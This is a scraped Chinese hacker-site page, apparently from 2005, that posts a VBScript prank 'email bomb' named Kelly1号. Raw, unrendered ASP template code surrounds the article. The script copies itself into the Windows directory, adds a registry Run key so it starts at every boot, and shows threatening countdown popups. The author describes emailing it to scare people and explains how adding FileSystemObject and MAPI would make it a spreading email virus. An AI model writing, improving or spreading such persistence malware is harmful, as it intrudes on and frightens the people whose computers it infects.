<% dim ModuleName,InfoID,ChannelShortName,CorrelativeArticle,InstallDir,ChannelDir,Keyword,PageTitle,ArticleIntro,Articlecontent Keyword=stripHTML("WEB,VBScript,应用,技巧") PageTitle=stripHTML("Email 炸弹 vbscript 版") ArticleIntro=stripHTML("") Articlecontent=stripHTML("想起 Email 炸弹,我到是曾用 vbscript 做过一个简易版,文件名kelly.vbs,原来是插在邮件里吓人玩的,大家可以看看玩^_^。        …") ModuleName = stripHTML("classical") InfoID = stripHTML("25071") ChannelShortName=stripHTML("文章") InstallDir=stripHTML("http://www.77169.com/") ChannelDir=stripHTML("classical") %> Email 炸弹 vbscript 版 - 华盟网 - http://www.77169.com  <% Function stripHTML(strHTML) 'Strips the HTML tags from strHTML Dim objRegExp, strOutput Set objRegExp = New Regexp objRegExp.IgnoreCase = True objRegExp.Global = True objRegExp.Pattern = "<.+?>" 'Replace all HTML tag matches with the empty string strOutput = objRegExp.Replace(strHTML, "") 'Replace all < and > with < and > strOutput = Replace(strOutput, "<", "<") strOutput = Replace(strOutput, ">", ">") strOutput = Replace(strOutput,Chr(34),Chr(39)) stripHTML = strOutput 'Return the value of strOutput Set objRegExp = Nothing End Function %> "> 
您现在的位置: 华盟网 >> 知识库 >> WEB开发 >> VBScript >> 应用技巧 >> 正文

Email 炸弹 vbscript 版

2005/8/29 作者:studyboy 来源: unknown
导读 <% if len(ArticleIntro)<3 then Response.Write Articlecontent 'Response.Write "Articlecontent" else Response.Write ArticleIntro 'Response.Write "ArticleIntro" end if %>


想起 Email 炸弹,我到是曾用 vbscript 做过一个简易版,文件名kelly.vbs,原来是插在邮件里吓人玩的,大家可以看看玩^_^。

Dim WSHShell,ver
Set WSHShell = WScript.CreateObject("WScript.Shell")
ver = "《Kelly1号》(4月1日版)"

On Error Resume Next
With WSHShell
c = .RegRead("HKCU\Software\《Kelly1号》邮件炸弹\")
If IsEmpty(c) Then
First
Else
d = CDate(c) - Date()
If d <= 0 Then
.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\lvrui"
.RegDelete "HKCU\Software\《Kelly1号》邮件炸弹\"
.Popup "《Kelly1号》邮件炸弹因受潮无法爆炸而自毁!您以后不必担心了!",,ver
ELse
.Popup "《Kelly1号》邮件炸弹 已经启动!离爆炸时间还有 " & CStr(d) & " 天,请您做好准备。

",,ver
End If
End If
End With

Sub First()
With WSHShell
.Run "xcopy %temp%\Kelly.vbs %windir%\"
.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\lvrui",

WSHShell.Environment("PROCESS").Item("windir")+"\Kelly.vbs"
.RegWrite "HKCU\Software\《Kelly1号》邮件炸弹\", Date()+10
.Popup "《Kelly1号》邮件炸弹 已经安装成功!每次启动时自动启动,时机成熟时将自动爆炸,请您

做好准备。",,ver
End With
End Sub

本炸弹是我以前跟同事开玩笑作着玩的,如果把里面的拷贝过程改成用filesystemobject可在任何系统中运行,另外若创建mapi对象,便可成为Email病毒

 

                  微信群名称:华盟-黑白之道         华盟--黑白之道⑦QQ群: 9430885

  • 上一篇文章:

  • 下一篇文章:
  • 
    网友评论
      验证码
     
    

    关注

    分享

    0

    讨论

    2

    猜你喜欢

      <%=CorrelativeArticle%>

    论坛最新贴